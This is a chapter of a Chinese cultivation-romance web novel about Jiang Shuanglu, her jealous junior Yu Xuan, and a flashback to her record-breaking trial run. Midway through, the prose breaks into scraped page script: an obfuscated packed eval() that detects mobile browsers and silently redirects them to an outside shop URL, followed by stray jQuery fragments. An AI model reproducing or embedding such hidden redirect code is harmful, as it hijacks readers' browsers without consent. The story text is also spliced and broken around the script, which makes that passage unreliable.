听完方少轩那胡言乱语后的余喧,陷入了一种怔愣的状态。

    整个人像被戾气包围了一层又一层,仿佛有一团黑雾笼罩在身边。

    江双鹿第一次从他身上感受到了极强的距离感和排斥感。

    糟糕!

    方少轩这张把不住关的嘴!

    江双鹿头疼,上个生的气还没解决,这下又又又生气了。

    余喧下颌冷硬地绷紧到了极限,像是在将脾气死死压住。

    江双鹿尴尬地摸了摸脸蛋,“那个,其实不是那样的。”

    余喧忽地站起身,不看她,“师姐不必向我解释。”

    他语气冷酷又倔强,睫毛轻垂显得又些委屈,

    “天晚了,师姐早些休息。”

    他带着气又不肯说,从小就是这个样子。

    永远不说自己生气了,只会像个受了委屈的小狗,一个人跑到一边去生闷气。

    江双鹿奇了怪了,今天怎么总是想到小时候的余喧。

    他已经不是会跟在自己身后,看起来乖巧温顺的那个小孩了。

    如今的他修为高深,心思如海,还总是阴晴不定,自己的命说不定都系在他身上。

    她还得想办法从余喧那拿修为呢。

    江双鹿心思一横,追了上去。

    身后的人若即若离地跟着,余喧不可能没察觉到。

    但他不知道她有什么目的,又到底想戏耍他到什么时候。

    余喧心里莫名地有些生气。

    他有些奇怪的执拗,期待江双鹿救他只是因为是他而已。

    想要在她心里是特殊的。

    可是,就是这个可以说跟他说完全无关的理由,戳破了他自以为是的念头

    哪怕那天秦为书欺负的是其他人,江双鹿也会去救。

    从来就跟他无关。

    这股有些任性的执拗让他故意无视着江双鹿追上来的身影。

    进殿前,他却还是欲盖弥彰地为后面的人留了门。

    江双鹿亦步亦趋地跟到了寝殿内,余喧站在房间中央,似乎在等她。

    跟着的时候她倒是没多想,一心只想着跟上,真的面对面的时候,她却没想好要说什么。

    “师姐还有事吗?”

    余喧终于忍不住打破了寂静。

    江双鹿摸摸头又摸鼻子,显得很忙的样子,她随意地溜达到余喧身边,“我没事啊,我今晚想在这儿睡来着。”

    余喧没说话,侧过头不看她。

    少年只留出一个有些削瘦的小半张脸对着她,排斥不言而喻。

    “阿喧,你不会在生气吧?”江双鹿明知故问。

    余喧闭上眼不理。

    “因为小时候救你那件事?你不会这么小气吧。”

    余喧猛地睁眼,转头瞪着她,但因为他的眼角下垂,看起来竟有些幽怨。

    她一脸无辜。

    她总是这样,可以随意地对待他。

    余喧赌气道:“余喧本就是贱命一条,师姐愿意救我就该知足了,我怎么敢怪师姐。”

    江双鹿被噎得一紧,余喧什么时候也学会阴阳怪气了。

    小时候明明还只会生闷气,现在都会呛她了。

    江双鹿也不是会哄人的人,她把话咽了下去,要真解释她当初为了救他还受罚,倒显得她在邀功了。

    她闷着气自己坐到了床边开始整理床铺,准备睡觉。

    余喧见她不反驳,像是接受了那句话,明明是自己说的,结果倒气着自己了。

    他像个耷拉着双耳的小狗站在原地,一言不发地看着无视他的江双鹿。

    委屈得胃里泛酸。

    他对江双鹿而言只不过是随时都可以丢弃的跟班罢了。

    说什么喜欢他,余喧觉得自己被骗了。

    被他们两姐弟骗得团团转。

    他早就知道了,她喜欢的人从来都只是秦为阙。

    余喧每日跟着江双鹿,从她嘴里经常会冒出一个名字——秦为阙。

    “余喧,你知道白玉壁上的第一名是谁吗?秦为阙!”

    “秦为阙到底怎么修炼的啊。”

    她谈到秦为阙时,那双眼睛总是有寒星掉入般,熠熠生辉。

    余喧那时胃里就会有泛酸的感觉,那种隐隐约约的不适,说不清道不明。

    但很快就被一种更强烈的情绪压制住了——卑微。

    不是他能决定的事。

    也不是他有资格去评论的事。

    江双鹿那时正在结丹前夕,一旦结丹她便要去参加问仙路的试炼,

    几乎日以继夜地准备着。

    这件事对她、对望山宗都很重要。

    掌门在她身上给予了很大期望。

    而秦为阙恰好是问仙路的榜首。

    余喧想的很简单,

    她定是为了打败秦为阙,才如此关注他。

    余喧心头像被一球击中,立刻浮现出了一个有些狂妄的念头:

    要是他的名字出现在白玉壁上,那么师姐关注的人会变成他吧。

    江双鹿对他很好,不仅自己修炼,也总教他望山宗的独门的心法,余喧更加努力地修炼了。

    江双鹿十四岁那年结丹,一个月后她去参加问仙路。

    所有仙门都注目着,因为在当时江双鹿是最年轻的闯关者。

    秦为阙结丹时是十五岁,在某种层面上,江双鹿的闯关代表着望山宗培养新人的实力。

    也能看出未来宗门的力量。

    江双鹿如此年轻就已结丹,已经足以让各大宗门先收一波消息,开始注意望山宗,再来探探虚实了。

    余喧也去了,和其他人一样守在门外,江双鹿进去前自信地朝他们挥了挥手,余喧见她是在看自己,便踮起脚从人群中朝她挥手。

    他十一岁的身高被人群淹没,不知道师姐有没有看到。

    余喧气闷地从人群中挤过去,好不容易挤到前列,师姐已经进去了。

    等她出来时,我要是第一个接到她的人。

    余喧紧盯着过仙门的结界入口,上方有一个白色光晕的时辰,记录着江双鹿进到问仙路的时间。

    过了一个时辰,意外地秦为阙也钻了来了,

    天边突然出现一大堆人群,驾鹤的驾鹤、御剑的御剑。

    一时天边霞彩飞扬、五颜六色。

    余喧不明就里,方少轩搭着他的肩膀说道:“你看那上面那时间是不是变成大红色了?”

    余喧点了点头,方少轩说:“颜色代表进度,到红色就是说江双鹿已经到最后一关了,这才过了一个时辰,说不定白玉壁上的第一要换人了,这些仙门鬼精着呢,听到消息赶紧赶来了。”

    余喧瞧了眼白玉壁,通体白玉上从上到下排列着三个名字,

    排第一的名字是秦为阙。

    他十五岁就以最快的速度通过了问仙路,三百年间都没有人换掉他的名字。

    余喧抿了抿唇,盯着那三个字,心里燃起一股斗气。

    却在这时,听到透过云霄的鸟鸣声。

    不用他寻找声音从哪来的,身边的人已经齐齐地往一个方向望去。

    秦为阙率着天元宗的队伍,前面两只乌鸣鸟扇动巨翅开路,鸣叫声是示意。

    天元宗的队伍气势浩荡,像一抹晚霞洒在天边。

    其中最为亮眼的还是立于最前头的秦为阙,衣袂飘飘,腰上扣着纯黑的佩剑,孔武有神的目光凌厉地盯着问仙路的结界出口。

    余喧在人群中,仰视着高大的秦为阙,墨黑的瞳孔里充斥着浓浓的不服,晕不开的狠戾,像狼崽子似的眼神。

    身处半空的秦为阙察觉到好细微的恶意。

    好奇怪,明明这股恶意修为如此低,却存在感这么强,像是尖利的狼牙,只咬出一个细口,却咬得深入骨髓。

    他谨慎地垂眸看去,顺着那股强烈的恨意找到了源头。

    一个半人高的小孩盯着他,他怀着的警惕瞬间消散了。

    即使是个恶狼,也才是个狼崽子。

    秦为阙不记得见过这个小孩,若真有仇,也并不会对他产生威胁。

    他勾起嘴角,露出一个不屑的笑。

    就在这时,突然所有人的目光都被一阵石头碎裂的声音吸引而去。

    白玉壁上开始抖落碧玉,秦为阙三个字正在被削平,重刻。

    排在第一的名字不再是秦为阙。

    而成了,

    江双鹿。

    跟在其下才是秦为阙的名字。

    一股喜悦和骄傲从身体里涌出,余喧和方少轩对视一眼,欢呼起来!

    师姐通过问仙路了,还是第一!

    望山宗的人群里顿时响起了此起彼伏的欢呼声,江穷志的眼里也泛出了泪花。

    余喧急忙转头去看结界出口,想去迎接师姐,却见秦为阙的身影已然飘到了出口处等着。

    江双鹿一出结界,见到秦为阙先是惊讶随后却惊喜地笑了起来。

    余喧心像被狠狠锤了一下,他停下了脚步,

    知道自己赶也赶不上了。

    师姐第一个见到的人不是他。

    秦为阙双手抱拳,“恭喜江少掌门荣登白玉壁。”

    江双鹿眼睛里闪着激动的光芒,她也双手回礼。

    天元宗的少掌门表了态,其他仙门皆随着祝贺,祝贺的声音此起彼伏,连绵百里不断。

    江双鹿站在人群中央,随着秦为阙作伴,好不风光。

    她眼里根本看不到淹没在人群里的他。

    她的世界里余喧是最不重要的一个。

    于是,什么都不需要向他解释。

    余喧气得脸都憋红了,像是自己要将自己憋死了,他说话都在颤抖,“师姐不需要给余喧解释吗?”

    看吧,果真还在生气。

    江双鹿对余喧的出尔反尔一脸错愕,“不是你说不需要向你解释的吗?”

    “你……”

    余喧这下脸更红了,不仅是气得,还有羞耻。

    被江双鹿戳穿自己的在意的羞耻。

    余喧身体内的耻意翻涌,从耳根到脖子红了一片,他被江双鹿的目光锁住。

    那目光像是箭一般指着他,他成了被瞄准的猎物。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794980|208653||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    这种不适让他下意识地想拔腿离开。

    江双鹿哪能又让他跑,她健步追上,拽住余喧的手腕,也不知道她哪来的力气,竟死拖着余喧,将他按倒了床上。

    两只手按住他的手腕,不许他跑。

    余喧睁着惊愕的双眼看着她,江双鹿也懵住了。

    她和余喧的位置正好和前几日换了个方向,像什么样子!

    江双鹿大脑宕机了。

    糟糕,余喧不会像她一样踢他吧!

    在余喧发难前,江双鹿赶紧松开双手,坐起身。

    她原本跨在余喧身上,一坐起来直接就坐到了他身上,压得他闷哼一声。

    她举起双手,示意自己的清白,“我不是故意的啊,你听我解释。”

    余喧也轰地坐起身,眼睛红红地瞪着她。

    还会瞪人了?

    见他没有要跑的意思,江双鹿这才开口道:“一件件解释吧,不管你信不信吧,我当初是真的想救你。”

    余喧没说话,低着头。

    “还有我刚才只是怕你又跑,不是故意的。”

    江双鹿侧头去瞧余喧的表情,虽然没有回应,但是眼前人的呼吸没有那么急促了。

    “还有最后,前天晚上那件事。”提到这儿,江双鹿感觉空气都变得焦热了,她抠着脑袋,斟酌着用词,

    “我没有厌倦你,我只是刚死而复生,还不习惯而已。”

    余喧身体抖了一下,他也心虚着自己撒的那个谎,哪怕是现在的他来看,也太过大胆。

    他当时是怎么会说出那么不经思考的举动。

    就好像自己当时脑子已经在被本能驱使,所有的话都顺理成章地从嘴里吐了出来。

    他后悔着自己的冲动,本就知道她不喜欢自己,竟有着这些肮脏的期待。

    他紧闭双眼反省着,脸颊却忽地感受到一阵柔软的触碰。

    余喧像被烫了一般睁眼躲开。

    回头。

    江双鹿顶着一张红透的脸,眼神躲闪,她纤长的睫毛像是振翅的蜻蜓一般,局促藏都藏不住。

    嘴里结结巴巴地开始说道:“就就就是说,我我不是不愿意,你不不要多想,我完完全没有变哦。”

    脸颊那里是被亲了吗?

    余喧脑子一片混乱,开始怀疑刚才是不是错觉。

    他的目光不自主地移到那怀疑的地方,江双鹿的双唇翕动着,从里说出了什么他已经不记得了。

    只看到口水不断润湿那双唇,光泽使那双唇看起来异常柔软。

    他目光变得虚浮,江双鹿一把捧住失神的余喧的脸,将本就削瘦的脸颊硬就挤出两坨肉出来。

    她直直盯着余喧,有些不满,“你有没有听我说话。”

    “没有。”余喧呆愣地回答。

    江双鹿瞪了他一眼,随后俯下身,两人随着江双鹿压到身上的重量一起躺倒,余喧伸手扶住她的腰身。

    江双鹿凑到他的耳边,轻轻吹了一口气,

    余喧顿时浑身酥麻。

    江双鹿说道:“我们今天可以做一直以来那件事了。”

    余喧眼睛顿时睁大,心脏仿佛受到了冲击以一种不自觉的速度疯狂跳动起来。

    他按住难以自持的激动,极力将自己拉回冷静中。

    她怎么可能愿意?

    她真的喜欢自己?

    余喧晕乎了一阵,看着她眼里直勾勾的,没有躲闪也没有害怕。

    却怀着不易察觉的算计的眼神。

    余喧心冷了一瞬,他太清楚那种眼神了。

    一瞬间,他便明白了江双鹿的目的,是为了圆自己撒的那个谎所以想装作那“夺舍者”的样子吗?

    但即使如此,他也不觉得她会雌伏于自己。

    江双鹿是那么骄傲的一个人,怎么可能愿意为他低头。

    他眸子暗了一瞬,这才是亲他的原因吗?

    余喧大脑神经一段一段地被点燃,一股被戏耍的暴怒淹没了他的理智。

    他忽地转身将江双鹿压在身下,语气调侃,

    “师姐,真的吗?”

    你会演到什么时候?江双鹿。

    江双鹿点点头,一副泰然自若的样子,“真的。”

    她的反应在他的意料外,余喧喉结滚动暴露了他的慌乱,他进一步掐紧了她的手腕。

    缓缓俯身靠近。

    他心如擂鼓,想着在哪一刻江双鹿会受不了将他推开。

    越来越近。

    余喧开始缺氧,江双鹿的脸上却丝毫没有慌张的表情。

    怎么回事?

    江双鹿的嘴角突然出现了一抹笑意,余喧怔愣,心脏空了一拍。

    下一刻,他直直倒在了江双鹿脖颈边。

    江双鹿戳了戳余喧,他一动不动。

    这才舒了口气,“呼,好险,不是说吹到耳朵里立刻生效吗?差点被占便宜了。”

    她用力推开余喧,可惜余喧的身子沉得像座大山,手脚并用才好不容易将他推到一边。

    她用手拍了拍余喧的脸,“想占本小姐便宜,你做梦!”